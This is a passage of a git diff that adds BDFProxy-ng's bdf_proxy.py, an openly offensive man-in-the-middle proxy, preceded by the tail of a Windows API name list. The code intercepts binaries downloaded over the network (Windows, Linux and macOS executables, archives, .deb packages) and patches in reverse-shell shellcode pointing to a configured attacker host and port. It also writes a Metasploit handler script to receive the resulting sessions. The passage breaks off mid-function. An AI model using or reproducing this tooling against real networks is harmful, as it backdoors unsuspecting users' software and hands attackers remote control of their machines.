'MessageBoxTimeoutW', + 'MessageBoxW', + 'ModifyMenuA', + 'ModifyMenuW', + 'MonitorFromPoint', + 'MonitorFromRect', + 'MonitorFromWindow', + 'MoveWindow', + 'MsgWaitForMultipleObjects', + 'MsgWaitForMultipleObjectsEx', + 'NotifyOverlayWindow', + 'NotifyWinEvent', + 'OemKeyScan', + 'OemToCharA', + 'OemToCharBuffA', + 'OemToCharBuffW', + 'OemToCharW', + 'OffsetRect', + 'OpenClipboard', + 'OpenDesktopA', + 'OpenDesktopW', + 'OpenIcon', + 'OpenInputDesktop', + 'OpenThreadDesktop', + 'OpenWindowStationA', + 'OpenWindowStationW', + 'PackDDElParam', + 'PaintDesktop', + 'PaintMenuBar', + 'PaintMonitor', + 'PeekMessageA', + 'PeekMessageW', + 'PhysicalToLogicalPoint', + 'PostMessageA', + 'PostMessageW', + 'PostQuitMessage', + 'PostThreadMessageA', + 'PostThreadMessageW', + 'PrintWindow', + 'PrivateExtractIconExA', + 'PrivateExtractIconExW', + 'PrivateExtractIconsA', + 'PrivateExtractIconsW', + 'PrivateRegisterICSProc', + 'PtInRect', + 'QueryDisplayConfig', + 'QuerySendMessage', + 'RealChildWindowFromPoint', + 'RealGetWindowClass', + 'RealGetWindowClassA', + 'RealGetWindowClassW', + 'ReasonCodeNeedsBugID', + 'ReasonCodeNeedsComment', + 'RecordShutdownReason', + 'RedrawWindow', + 'RegisterClassA', + 'RegisterClassExA', + 'RegisterClassExW', + 'RegisterClassW', + 'RegisterClipboardFormatA', + 'RegisterClipboardFormatW', + 'RegisterDeviceNotificationA', + 'RegisterDeviceNotificationW', + 'RegisterErrorReportingDialog', + 'RegisterFrostWindow', + 'RegisterGhostWindow', + 'RegisterHotKey', + 'RegisterLogonProcess', + 'RegisterMessagePumpHook', + 'RegisterPowerSettingNotification', + 'RegisterRawInputDevices', + 'RegisterServicesProcess', + 'RegisterSessionPort', + 'RegisterShellHookWindow', + 'RegisterSystemThread', + 'RegisterTasklist', + 'RegisterTouchWindow', + 'RegisterUserApiHook', + 'RegisterWindowMessageA', + 'RegisterWindowMessageW', + 'ReleaseCapture', + 'ReleaseDC', + 'RemoveClipboardFormatListener', + 'RemoveMenu', + 'RemovePropA', + 'RemovePropW', + 'ReplyMessage', + 'ResolveDesktopForWOW', + 'ReuseDDElParam', + 'ScreenToClient', + 'ScrollChildren', + 'ScrollDC', + 'ScrollWindow', + 'ScrollWindowEx', + 'SendDlgItemMessageA', + 'SendDlgItemMessageW', + 'SendIMEMessageExA', + 'SendIMEMessageExW', + 'SendInput', + 'SendMessageA', + 'SendMessageCallbackA', + 'SendMessageCallbackW', + 'SendMessageTimeoutA', + 'SendMessageTimeoutW', + 'SendMessageW', + 'SendNotifyMessageA', + 'SendNotifyMessageW', + 'SetActiveWindow', + 'SetCapture', + 'SetCaretBlinkTime', + 'SetCaretPos', + 'SetClassLongA', + 'SetClassLongW', + 'SetClassWord', + 'SetClipboardData', + 'SetClipboardViewer', + 'SetCursor', + 'SetCursorContents', + 'SetCursorPos', + 'SetDebugErrorLevel', + 'SetDeskWallpaper', + 'SetDisplayConfig', + 'SetDlgItemInt', + 'SetDlgItemTextA', + 'SetDlgItemTextW', + 'SetDoubleClickTime', + 'SetFocus', + 'SetForegroundWindow', + 'SetGestureConfig', + 'SetInternalWindowPos', + 'SetKeyboardState', + 'SetLastErrorEx', + 'SetLayeredWindowAttributes', + 'SetMagnificationDesktopColorEffect', + 'SetMagnificationDesktopMagnification', + 'SetMagnificationLensCtxInformation', + 'SetMenu', + 'SetMenuContextHelpId', + 'SetMenuDefaultItem', + 'SetMenuInfo', + 'SetMenuItemBitmaps', + 'SetMenuItemInfoA', + 'SetMenuItemInfoW', + 'SetMessageExtraInfo', + 'SetMessageQueue', + 'SetMirrorRendering', + 'SetParent', + 'SetPhysicalCursorPos', + 'SetProcessDPIAware', + 'SetProcessDefaultLayout', + 'SetProcessWindowStation', + 'SetProgmanWindow', + 'SetPropA', + 'SetPropW', + 'SetRect', + 'SetRectEmpty', + 'SetScrollInfo', + 'SetScrollPos', + 'SetScrollRange', + 'SetShellWindow', + 'SetShellWindowEx', + 'SetSysColors', + 'SetSysColorsTemp', + 'SetSystemCursor', + 'SetSystemMenu', + 'SetTaskmanWindow', + 'SetThreadDesktop', + 'SetTimer', + 'SetUserObjectInformationA', + 'SetUserObjectInformationW', + 'SetUserObjectSecurity', + 'SetWinEventHook', + 'SetWindowCompositionAttribute', + 'SetWindowContextHelpId', + 'SetWindowDisplayAffinity', + 'SetWindowLongA', + 'SetWindowLongW', + 'SetWindowPlacement', + 'SetWindowPos', + 'SetWindowRgn', + 'SetWindowRgnEx', + 'SetWindowStationUser', + 'SetWindowTextA', + 'SetWindowTextW', + 'SetWindowWord', + 'SetWindowsHookA', + 'SetWindowsHookExA', + 'SetWindowsHookExW', + 'SetWindowsHookW', + 'SfmDxBindSwapChain', + 'SfmDxGetSwapChainStats', + 'SfmDxOpenSwapChain', + 'SfmDxQuerySwapChainBindingStatus', + 'SfmDxReleaseSwapChain', + 'SfmDxReportPendingBindingsToDwm', + 'SfmDxSetSwapChainBindingStatus', + 'SfmDxSetSwapChainStats', + 'ShowCaret', + 'ShowCursor', + 'ShowOwnedPopups', + 'ShowScrollBar', + 'ShowStartGlass', + 'ShowSystemCursor', + 'ShowWindow', + 'ShowWindowAsync', + 'ShutdownBlockReasonCreate', + 'ShutdownBlockReasonDestroy', + 'ShutdownBlockReasonQuery', + 'SoftModalMessageBox', + 'SoundSentry', + 'SubtractRect', + 'SwapMouseButton', + 'SwitchDesktop', + 'SwitchDesktopWithFade', + 'SwitchToThisWindow', + 'SystemParametersInfoA', + 'SystemParametersInfoW', + 'TabbedTextOutA', + 'TabbedTextOutW', + 'TileChildWindows', + 'TileWindows', + 'ToAscii', + 'ToAsciiEx', + 'ToUnicode', + 'ToUnicodeEx', + 'TrackMouseEvent', + 'TrackPopupMenu', + 'TrackPopupMenuEx', + 'TranslateAccelerator', + 'TranslateAcceleratorA', + 'TranslateAcceleratorW', + 'TranslateMDISysAccel', + 'TranslateMessage', + 'TranslateMessageEx', + 'UnhookWinEvent', + 'UnhookWindowsHook', + 'UnhookWindowsHookEx', + 'UnionRect', + 'UnloadKeyboardLayout', + 'UnlockWindowStation', + 'UnpackDDElParam', + 'UnregisterClassA', + 'UnregisterClassW', + 'UnregisterDeviceNotification', + 'UnregisterHotKey', + 'UnregisterMessagePumpHook', + 'UnregisterPowerSettingNotification', + 'UnregisterSessionPort', + 'UnregisterTouchWindow', + 'UnregisterUserApiHook', + 'UpdateLayeredWindow', + 'UpdateLayeredWindowIndirect', + 'UpdatePerUserSystemParameters', + 'UpdateWindow', + 'UpdateWindowTransform', + 'User32InitializeImmEntryTable', + 'UserClientDllInitialize', + 'UserHandleGrantAccess', + 'UserLpkPSMTextOut', + 'UserLpkTabbedTextOut', + 'UserRealizePalette', + 'UserRegisterWowHandlers', + 'VRipOutput', + 'VTagOutput', + 'ValidateRect', + 'ValidateRgn', + 'VkKeyScanA', + 'VkKeyScanExA', + 'VkKeyScanExW', + 'VkKeyScanW', + 'WCSToMBEx', + 'WINNLSEnableIME', + 'WINNLSGetEnableStatus', + 'WINNLSGetIMEHotkey', + 'WaitForInputIdle', + 'WaitMessage', + 'WinHelpA', + 'WinHelpW', + 'WindowFromDC', + 'WindowFromPhysicalPoint', + 'WindowFromPoint', + '_UserTestTokenForInteractive', + 'gSharedInfo', + 'gapfnScSendMessage', + 'keybd_event', + 'mouse_event', + 'wsprintfA', + 'wsprintfW', + 'wvsprintfA', + 'wvsprintfW' + ] +} diff --git a/Plugins/BDFProxy-ng/bdf_proxy.py b/Plugins/BDFProxy-ng/bdf_proxy.py new file mode 100755 index 0000000..d2264ab --- /dev/null +++ b/Plugins/BDFProxy-ng/bdf_proxy.py @@ -0,0 +1,832 @@ +#!/usr/bin/env python +""" + BackdoorFactory Proxy (BDFProxy-ng) v0.2 - 'Something Something' + Author Joshua Pitts the.midnite.runr 'at' gmail com + Copyright (c) 2013-2014, Joshua Pitts + All rights reserved. + Redistribution and use in source and binary forms, with or without modification, + are permitted provided that the following conditions are met: + 1. Redistributions of source code must retain the above copyright notice, + this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + 3. Neither the name of the copyright holder nor the names of its contributors + may be used to endorse or promote products derived from this software without + specific prior written permission. + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE + LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. + Tested on Kali-Linux. +""" + +try: + from mitmproxy import controller, proxy, platform + from mitmproxy.proxy.server import ProxyServer +except: + from libmproxy import controller, proxy, platform + from libmproxy.proxy.server import ProxyServer +import sys +import os +from bdf import pebin +from bdf import elfbin +from bdf import machobin +import shutil +import sys +import pefile +import logging +import tempfile +import libarchive +import magic +from contextlib import contextmanager +from configobj import ConfigObj +import argparse + +@contextmanager +def in_dir(dirpath): + prev = os.path.abspath(os.getcwd()) + os.chdir(dirpath) + try: + yield + finally: + os.chdir(prev) + + +def write_resource(resource_file, values): + with open(resource_file, 'w') as f: + f.write("#USAGE: msfconsole -r thisscriptname.rc\n\n\n") + write_statement0 = "use exploit/multi/handler\n" + write_statement1 = "" + write_statement2 = "" + write_statement3 = "" + write_statement4 = "set ExitOnSession false\n\n" + write_statement5 = "exploit -j -z\n\n" + for aDictionary in values: + if isinstance(aDictionary, dict): + if aDictionary != {}: + for key, value in aDictionary.items(): + if key == 'MSFPAYLOAD': + write_statement1 = 'set PAYLOAD ' + str(value) + "\n" + if key == "HOST": + write_statement2 = 'set LHOST ' + str(value) + "\n" + if key == "PORT": + write_statement3 = 'set LPORT ' + str(value) + "\n" + f.write(write_statement0) + f.write(write_statement1) + f.write(write_statement2) + f.write(write_statement3) + f.write(write_statement4) + f.write(write_statement5) + + +def dict_parse(d): + tmpValues = {} + for key, value in d.iteritems(): + if isinstance(value, dict): + dict_parse(value) + if key == 'HOST': + tmpValues['HOST'] = value + if key == 'PORT': + tmpValues['PORT'] = value + if key == 'MSFPAYLOAD': + tmpValues['MSFPAYLOAD'] = value + + resourceValues.append(tmpValues) + +'''http://stackoverflow.com/questions/17035077/python-logging-to-multiple-log-files-from-different-classes''' +def setup_logger(logger_name, log_file,key, level=logging.INFO): + l = logging.getLogger(logger_name) + formatter = logging.Formatter('SessionID[{}] %(asctime)s : %(message)s'.format(key)) + fileHandler = logging.FileHandler(log_file, mode='a') + fileHandler.setFormatter(formatter) + streamHandler = logging.StreamHandler() + streamHandler.setFormatter(formatter) + + l.setLevel(level) + l.addHandler(fileHandler) + l.addHandler(streamHandler) + +class EnhancedOutput: + def __init__(self): + pass + + @staticmethod + def print_error(txt): + print "[x] {0}".format(txt) + #sys.stdout.flush() + + @staticmethod + def print_info(txt): + global loggingbdfproxy + loggingbdfproxy.info("[*] {0}".format(txt)) + sys.stdout.flush() + + @staticmethod + def print_warning(txt): + print "[!] {0}".format(txt) + #sys.stdout.flush() + + @staticmethod + def logging_error(txt): + #logging.error("[x] Error: {0}".format(txt)) + sys.stdout.flush() + + @staticmethod + def logging_warning(txt): + #logging.warning("[!] Warning: {0}".format(txt)) + #sys.stdout.flush() + print "[x] {0}".format(txt) + + @staticmethod + def logging_info(txt): + #global loggingbdfproxy + #loggingbdfproxy.info("[*] {0}".format(txt)) + print "[*] {0}".format(txt) + + @staticmethod + def logging_debug(txt): + #global loggingbdfproxy + #loggingbdfproxy.info("[.] Debug: {0}".format(txt)) + #sys.stdout.flush() + print "[.] {0}".format(txt) + + @staticmethod + def print_size(f): + size = len(f) / 1024 + EnhancedOutput.print_info("File size: {0} KB".format(size)) + + +class ArchiveType: + blacklist = [] + maxSize = 0 + patchCount = 0 + name = None + + def __init__(self, ar_type): + try: + cfg = ConfigObj(CONFIGFILE) + self.blacklist = cfg[ar_type]['blacklist'] + self.maxSize = int(cfg[ar_type]['maxSize']) + self.patchCount = int(cfg[ar_type]['patchCount']) + self.name = ar_type + except Exception as e: + raise Exception("Missing {0} from config file.".format(e)) + + +class ProxyMaster(controller.Master): + userConfig = None + host_blacklist = [] + host_whitelist = [] + keys_blacklist = [] + keys_whitelist = [] + patchIT = False + archive_types = [] + binary_types = [] + backdoor_compressed_files = False + + def __init__(self, srv): + controller.Master.__init__(self, srv) + + def run(self): + try: + EnhancedOutput.logging_debug("Starting ProxyMaster") + return controller.Master.run(self) + except KeyboardInterrupt: + self.shutdown() + + def setConfig(self): + try: + self.userConfig = ConfigObj(CONFIGFILE) + self.host_blacklist = self.userConfig['hosts']['blacklist'] + self.host_whitelist = self.userConfig['hosts']['whitelist'] + self.keys_blacklist = self.userConfig['keywords']['blacklist'] + self.keys_whitelist = self.userConfig['keywords']['whitelist'] + self.backdoor_compressed_files = self.userConfig['targets']['ALL'].as_bool('CompressedFiles') + self.archive_types = self.userConfig['Overall']['supportedArchiveTypes'] + self.binary_types = self.userConfig['Overall']['supportedBinaryTypes'] + except Exception as ex: + EnhancedOutput.print_error("Missing field from config file: {0}".format(ex)) + + # archInfo example: {'type':'TAR', 'format':'gnutar', 'filter':'bzip2'} + def archive_files(self, archFileBytes, archInfo, include_dirs=False): + try: + archiveType = ArchiveType(archInfo['type']) + except Exception as ex: + EnhancedOutput.print_error(str(ex)) + EnhancedOutput.print_warning("Returning original file") + EnhancedOutput.logging_error("Error setting archive type: {0}. Returning original file.".format(ex)) + return archFileBytes + + EnhancedOutput.print_size(archFileBytes) + + if len(archFileBytes) > archiveType.maxSize: + EnhancedOutput.print_error("{0} over allowed size".format(archInfo['type'])) + EnhancedOutput.logging_info("{0} maxSize met {1}".format(archInfo['type'], len(archFileBytes))) + return archFileBytes + + tmpDir = tempfile.mkdtemp() + + try: + with in_dir(tmpDir): + flags = libarchive.extract.EXTRACT_OWNER | libarchive.extract.EXTRACT_PERM | libarchive.extract.EXTRACT_TIME + libarchive.extract_memory(archFileBytes, flags) + except Exception as exce: + EnhancedOutput.print_error("Can't extract file. Returning original one") + EnhancedOutput.logging_error("Can't extract file: {0}. Returning original one.".format(exce)) + return archFileBytes + + EnhancedOutput.print_info("{0} file contents and info".format(archInfo['type'])) + EnhancedOutput.print_info("Compression: {0}".format(archInfo['filter'])) + + files_list = list() + for dirname, dirnames, filenames in os.walk(tmpDir): + dirz = dirname.replace(tmpDir, ".") + print "\t{0}".format(dirz) + if include_dirs: + files_list.append(dirz) + for f in filenames: + fn = os.path.join(dirz, f) + files_list.append(fn) + print "\t{0} {1}".format(fn, os.lstat(os.path.join(dirname, f)).st_size) + + patchCount = 0 + wasPatched = False + tmpArchive = tempfile.NamedTemporaryFile() + + try: + with libarchive.file_writer(tmpArchive.name, archInfo['format'], archInfo['filter']) as archive: + for filename in files_list: + full_path = os.path.join(tmpDir, filename) + EnhancedOutput.print_info(">>> Next file in archive: {0}".format(filename)) + + if os.path.islink(full_path) or not os.path.isfile(full_path): + EnhancedOutput.print_warning("{0} is not a file, skipping".format(filename)) + with in_dir(tmpDir): + archive.add_files(filename) + continue + + if os.lstat(full_path).st_size >= long(self.FileSizeMax): + EnhancedOutput.print_warning("{0} is too big, skipping".format(filename)) + with in_dir(tmpDir): + archive.add_files(filename) + continue + + # Check against keywords + keywordCheck = False + + if type(archiveType.blacklist) is str: + if archiveType.blacklist.lower() in filename.lower(): + keywordCheck = True + else: + for keyword in archiveType.blacklist: + if keyword.lower() in filename.lower(): + keywordCheck = True + continue + + if keywordCheck is True: + EnhancedOutput.print_warning("Archive blacklist enforced!") + EnhancedOutput.logging_info('Archive blacklist enforced on {0}'.format(filename)) + continue + + if patchCount >= archiveType.patchCount: + with in_dir(tmpDir): + archive.add_files(filename) + EnhancedOutput.logging_info("Met archive config patchCount limit. Adding original file") + else: + # create the file on disk temporarily for binaryGrinder to run on it + tmp = tempfile.NamedTemporaryFile() + shutil.copyfile(full_path, tmp.name) + tmp.flush() + patchResult = self.binaryGrinder(tmp.name) + if patchResult: + patchCount += 1 + file2 = os.path.join(os.getcwd()+BDFOLDER, os.path.basename(tmp.name)) + EnhancedOutput.print_info("Patching complete, adding to archive file.") + shutil.copyfile(file2, full_path) + EnhancedOutput.logging_info( + "{0} in archive patched, adding to final archive".format(filename)) + os.remove(file2) + wasPatched = True + else: + EnhancedOutput.print_error("Patching failed") + EnhancedOutput.logging_error("{0} patching failed. Keeping original file.".format(filename)) + + with in_dir(tmpDir): + archive.add_files(filename) + tmp.close() + + except Exception as exc: + EnhancedOutput.print_error( + "Error while creating the archive: {0}. Returning the original file.".format(exc)) + EnhancedOutput.logging_error("Error while creating the archive: {0}. Returning original file.".format(exc)) + shutil.rmtree(tmpDir, ignore_errors=True) + tmpArchive.close() + return archFileBytes + + if wasPatched is False: + EnhancedOutput.print_info("No files were patched. Forwarding original file") + shutil.rmtree(tmpDir, ignore_errors=True) + tmpArchive.close() + return archFileBytes + + with open(tmpArchive.name, 'r+b') as f: + ret = f.read() + f.close() + + # cleanup + shutil.rmtree(tmpDir, ignore_errors=True) + tmpArchive.close() + + return ret + + def deb_files(self, debFile): + try: + archiveType = ArchiveType('AR') + except Exception as e: + EnhancedOutput.print_error(str(e)) + EnhancedOutput.print_warning("Returning original file") + EnhancedOutput.logging_error("Error setting archive type: {0}. Returning original file.".format(e)) + return debFile + + EnhancedOutput.print_size(debFile) + + if len(debFile) > archiveType.maxSize: + EnhancedOutput.print_error("AR File over allowed size") + EnhancedOutput.logging_info("AR File maxSize met {0}".format(len(debFile))) + return debFile + + tmpDir = tempfile.mkdtemp() + + # first: save the stream to a local file + tmpFile = tempfile.NamedTemporaryFile() + tmpFile.write(debFile) + tmpFile.seek(0) + + # chdir to the tmpDir which the new ar file resides + # and extract it so work on the 'copy' of the stream + with in_dir(tmpDir): + libarchive.extract_file(tmpFile.name) + + file2inject = 'data.tar.gz' + infoz = {'type': 'TAR', 'format': 'ustar', 'filter': 'gzip'} + + if os.path.exists(os.path.join(tmpDir, 'data.tar.xz')): + file2inject = 'data.tar.xz' + infoz = {'type': 'LZMA', 'format': 'gnutar', 'filter': 'xz'} + + EnhancedOutput.print_info("Patching {0}".format(file2inject)) + # recreate the injected archive + with open(os.path.join(tmpDir, file2inject), 'r+b') as f: + bfz = f.read() + f.seek(0) + f.write(self.archive_files(bfz, infoz, include_dirs=True)) + f.flush() + f.close() + + blk = [] + + def write_data(data): + blk.append(data[:]) + return len(data[:]) + + with libarchive.custom_writer(write_data, 'ar_bsd') as archive: + archive.add_files(os.path.join(tmpDir, 'debian-binary')) + archive.add_files(os.path.join(tmpDir, 'control.tar.gz')) + archive.add_files(os.path.join(tmpDir, file2inject)) + + buf = b''.join(blk) + + # clean up + shutil.rmtree(tmpDir, ignore_errors=True) + tmpFile.close() + + return buf + + def binaryGrinder(self, binaryFile): + """ + Feed potential binaries into this function, + it will return the result PatchedBinary, False, or None + """ + with open(binaryFile, 'r+b') as f: + binaryTMPHandle = f.read() + + binaryHeader = binaryTMPHandle[:4] + result = None + + try: + if binaryHeader[:2] == 'MZ': # PE/COFF + pe = pefile.PE(data=binaryTMPHandle, fast_load=True) + magic = pe.OPTIONAL_HEADER.Magic + machineType = pe.FILE_HEADER.Machine + + # update when supporting more than one arch + if (magic == int('20B', 16) and machineType == 0x8664 and + self.WindowsType.lower() in ['all', 'x64']): + add_section = False + cave_jumping = False + if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append': + add_section = True + elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump': + cave_jumping = True + + # if automatic override + if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic': + cave_jumping = True + + targetFile = pebin.pebin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.WindowsIntelx64['SHELL'], + HOST=self.WindowsIntelx64['HOST'], + PORT=int(self.WindowsIntelx64['PORT']), + ADD_SECTION=add_section, + CAVE_JUMPING=cave_jumping, + IMAGE_TYPE=self.WindowsType, + PATCH_DLL=self.WindowsIntelx64.as_bool('PATCH_DLL'), + SUPPLIED_SHELLCODE=self.WindowsIntelx64['SUPPLIED_SHELLCODE'], + ZERO_CERT=self.WindowsIntelx64.as_bool('ZERO_CERT'), + PATCH_METHOD=self.WindowsIntelx64['PATCH_METHOD'].lower() + ) + + result = targetFile.run_this() + + elif (machineType == 0x14c and + self.WindowsType.lower() in ['all', 'x86']): + add_section = False + cave_jumping = False + # add_section wins for cave_jumping + # default is single for BDF + if self.WindowsIntelx86['PATCH_TYPE'].lower() == 'append': + add_section = True + elif self.WindowsIntelx86['PATCH_TYPE'].lower() == 'jump': + cave_jumping = True + + # if automatic override + if self.WindowsIntelx86['PATCH_METHOD'].lower() == 'automatic': + cave_jumping = True + + targetFile = pebin.pebin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.WindowsIntelx86['SHELL'], + HOST=self.WindowsIntelx86['HOST'], + PORT=int(self.WindowsIntelx86['PORT']), + ADD_SECTION=add_section, + CAVE_JUMPING=cave_jumping, + IMAGE_TYPE=self.WindowsType, + PATCH_DLL=self.WindowsIntelx86.as_bool('PATCH_DLL'), + SUPPLIED_SHELLCODE=self.WindowsIntelx86['SUPPLIED_SHELLCODE'], + ZERO_CERT=self.WindowsIntelx86.as_bool('ZERO_CERT'), + PATCH_METHOD=self.WindowsIntelx86['PATCH_METHOD'].lower() + ) + + result = targetFile.run_this() + + elif binaryHeader[:4].encode('hex') == '7f454c46': # ELF + + targetFile = elfbin.elfbin(FILE=binaryFile, SUPPORT_CHECK=False) + targetFile.support_check() + + if targetFile.class_type == 0x1: + # x86CPU Type + targetFile = elfbin.elfbin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.LinuxIntelx86['SHELL'], + HOST=self.LinuxIntelx86['HOST'], + PORT=int(self.LinuxIntelx86['PORT']), + SUPPLIED_SHELLCODE=self.LinuxIntelx86['SUPPLIED_SHELLCODE'], + IMAGE_TYPE=self.LinuxType + ) + result = targetFile.run_this() + elif targetFile.class_type == 0x2: + # x64 + targetFile = elfbin.elfbin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.LinuxIntelx64['SHELL'], + HOST=self.LinuxIntelx64['HOST'], + PORT=int(self.LinuxIntelx64['PORT']), + SUPPLIED_SHELLCODE=self.LinuxIntelx64['SUPPLIED_SHELLCODE'], + IMAGE_TYPE=self.LinuxType + ) + result = targetFile.run_this() + + elif binaryHeader[:4].encode('hex') in ['cefaedfe', 'cffaedfe', 'cafebabe']: # Macho + targetFile = machobin.machobin(FILE=binaryFile, SUPPORT_CHECK=False) + targetFile.support_check() + + # ONE CHIP SET MUST HAVE PRIORITY in FAT FILE + + if targetFile.FAT_FILE is True: + if self.FatPriority == 'x86': + targetFile = machobin.machobin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx86['SHELL'], + HOST=self.MachoIntelx86['HOST'], + PORT=int(self.MachoIntelx86['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) + result = targetFile.run_this() + + elif self.FatPriority == 'x64': + targetFile = machobin.machobin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx64['SHELL'], + HOST=self.MachoIntelx64['HOST'], + PORT=int(self.MachoIntelx64['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) + result = targetFile.run_this() + + elif targetFile.mach_hdrs[0]['CPU Type'] == '0x7': + targetFile = machobin.machobin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx86['SHELL'], + HOST=self.MachoIntelx86['HOST'], + PORT=int(self.MachoIntelx86['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx86['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) + result = targetFile.run_this() + + elif targetFile.mach_hdrs[0]['CPU Type'] == '0x1000007': + targetFile = machobin.machobin(FILE=binaryFile, + OUTPUT=os.path.basename(binaryFile), + SHELL=self.MachoIntelx64['SHELL'], + HOST=self.MachoIntelx64['HOST'], + PORT=int(self.MachoIntelx64['PORT']), + SUPPLIED_SHELLCODE=self.MachoIntelx64['SUPPLIED_SHELLCODE'], + FAT_PRIORITY=self.FatPriority + ) + result = targetFile.run_this() + + return result + + except Exception as e: + EnhancedOutput.print_error('binaryGrinder: {0}'.format(e)) + EnhancedOutput.logging_warning("Exception in binaryGrinder {0}".format(e)) + return None + + def hosts_whitelist_check(self, flow): + if self.host_whitelist.lower() == 'all': + self.patchIT = True + + elif type(self.host_whitelist) is str: + if self.host_whitelist.lower() in flow.request.host.lower(): + self.patchIT = True + EnhancedOutput.logging_info( + "Host whitelist hit: {0}, HOST: {1}".format(self.host_whitelist, flow.request.host)) + elif flow.request.host.lower() in self.host_whitelist.lower(): + self.patchIT = True + EnhancedOutput.logging_info( + "Host whitelist hit: {0}, HOST: {1} ".format(self.host_whitelist, flow.request.host)) + else: + for keyword in self.host_whitelist: + if keyword.lower() in flow.requeset.host.lower(): + self.patchIT = True + EnhancedOutput.logging_info( + "Host whitelist hit: {0}, HOST: {1} ".format(self.host_whitelist, flow.request.host)) + break + + def keys_whitelist_check(self, flow): + # Host whitelist check takes precedence + if self.patchIT is False: + return None + + if self.keys_whitelist.lower() == 'all': + self.patchIT = True + elif type(self.keys_whitelist) is str: + if self.keys_whitelist.lower() in flow.request.path.lower(): + self.patchIT = True + EnhancedOutput.logging_info( + "Keyword whitelist hit: {0}, PATH: {1}".format(self.keys_whitelist, flow.request.path)) + elif flow.request.host.lower() in [x.lower() for x in self.keys_whitelist]: + self.patchIT = True + EnhancedOutput.logging_info( + "Keyword whitelist hit: {0}, PATH: {1}".format(self.keys_whitelist, flow.request.path)) + else: + for keyword in self.keys_whitelist: + if keyword.lower() in flow.requeset.path.lower(): + self.patchIT = True + EnhancedOutput.logging_info( + "Keyword whitelist hit: {0}, PATH: {1}".format(self.keys_whitelist, flow.request.path)) + break + + def keys_backlist_check(self, flow): + if type(self.keys_blacklist) is str: + if self.keys_blacklist.lower() in flow.request.path.lower(): + self.patchIT = False + EnhancedOutput.logging_info( + "Keyword blacklist hit: {0}, PATH: {1}".format(self.keys_blacklist, flow.request.path)) + else: + for keyword in self.keys_blacklist: + if keyword.lower() in flow.request.path.lower(): + self.patchIT = False + EnhancedOutput.logging_info( + "Keyword blacklist hit: {0}, PATH: {1}".format(self.keys_blacklist, flow.request.path)) + break + + def hosts_blacklist_check(self, flow): + if type(self.host_blacklist) is str: + if self.host_blacklist.lower() in flow.request.host.lower(): + self.patchIT = False + EnhancedOutput.logging_info( + "Host Blacklist hit: {0} : HOST: {1} ".format(self.host_blacklist, flow.request.host)) + elif flow.request.host.lower() in [x.lower() for x in self.host_blacklist]: + self.patchIT = False + EnhancedOutput.logging_info( + "Host Blacklist hit: {0} : HOST: {1} ".format(self.host_blacklist, flow.request.host)) + else: + for host in self.host_blacklist: + if host.lower() in flow.request.host.lower(): + self.patchIT = False + EnhancedOutput.logging_info( + "Host Blacklist hit: {0} : HOST: {1} ".format(self.host_blacklist, flow.request.host)) + break + + def parse_target_config(self, targetConfig): + for key, value in targetConfig.items(): + if hasattr(self, key) is False: + setattr(self, key, value) + EnhancedOutput.logging_debug("Settings Config {0}: {1}".format(key, value)) + + elif getattr(self, key, value) != value: + if value == "None": + continue + + # test if string can be easily converted to dict + if ':' in str(value): + for tmpkey, tmpvalue in dict(value).items(): + getattr(self, key, value)[tmpkey] = tmpvalue + EnhancedOutput.logging_debug("Updating Config {0}: {1}".format(tmpkey, tmpvalue)) + else: + setattr(self, key, value) + EnhancedOutput.logging_debug("Updating Config {0}: {1}".format(key, value)) + + def handle_request(self, flow): + print "*" * 10, "REQUEST", "*" * 10 + EnhancedOutput.print_info("HOST: {0}".format(flow.request.host)) + EnhancedOutput.print_info("PATH: {0}".format(flow.request.path)) + flow.reply() + print "*" * 10, "END REQUEST", "*" * 10 + + def handle_response(self, flow): + # Read config here for dynamic updating + self.setConfig() + + for target in self.userConfig['targets'].keys(): + if target == 'ALL': + self.parse_target_config(self.userConfig['targets']['ALL']) + + if target in flow.request.host: + self.parse_target_config(self.userConfig['targets'][target]) + + print "=" * 10, "RESPONSE", "=" * 10 + + EnhancedOutput.print_info("HOST: {0}".format(flow.request.host)) + EnhancedOutput.print_info("PATH: {0}".format(flow.request.path)) + + # Below are gates from whitelist --> blacklist + # Blacklists have the final say, but everything starts off as not patchable + # until a rule says True. Host whitelist over rides keyword whitelist. + + self.hosts_whitelist_check(flow) + self.keys_whitelist_check(flow) + 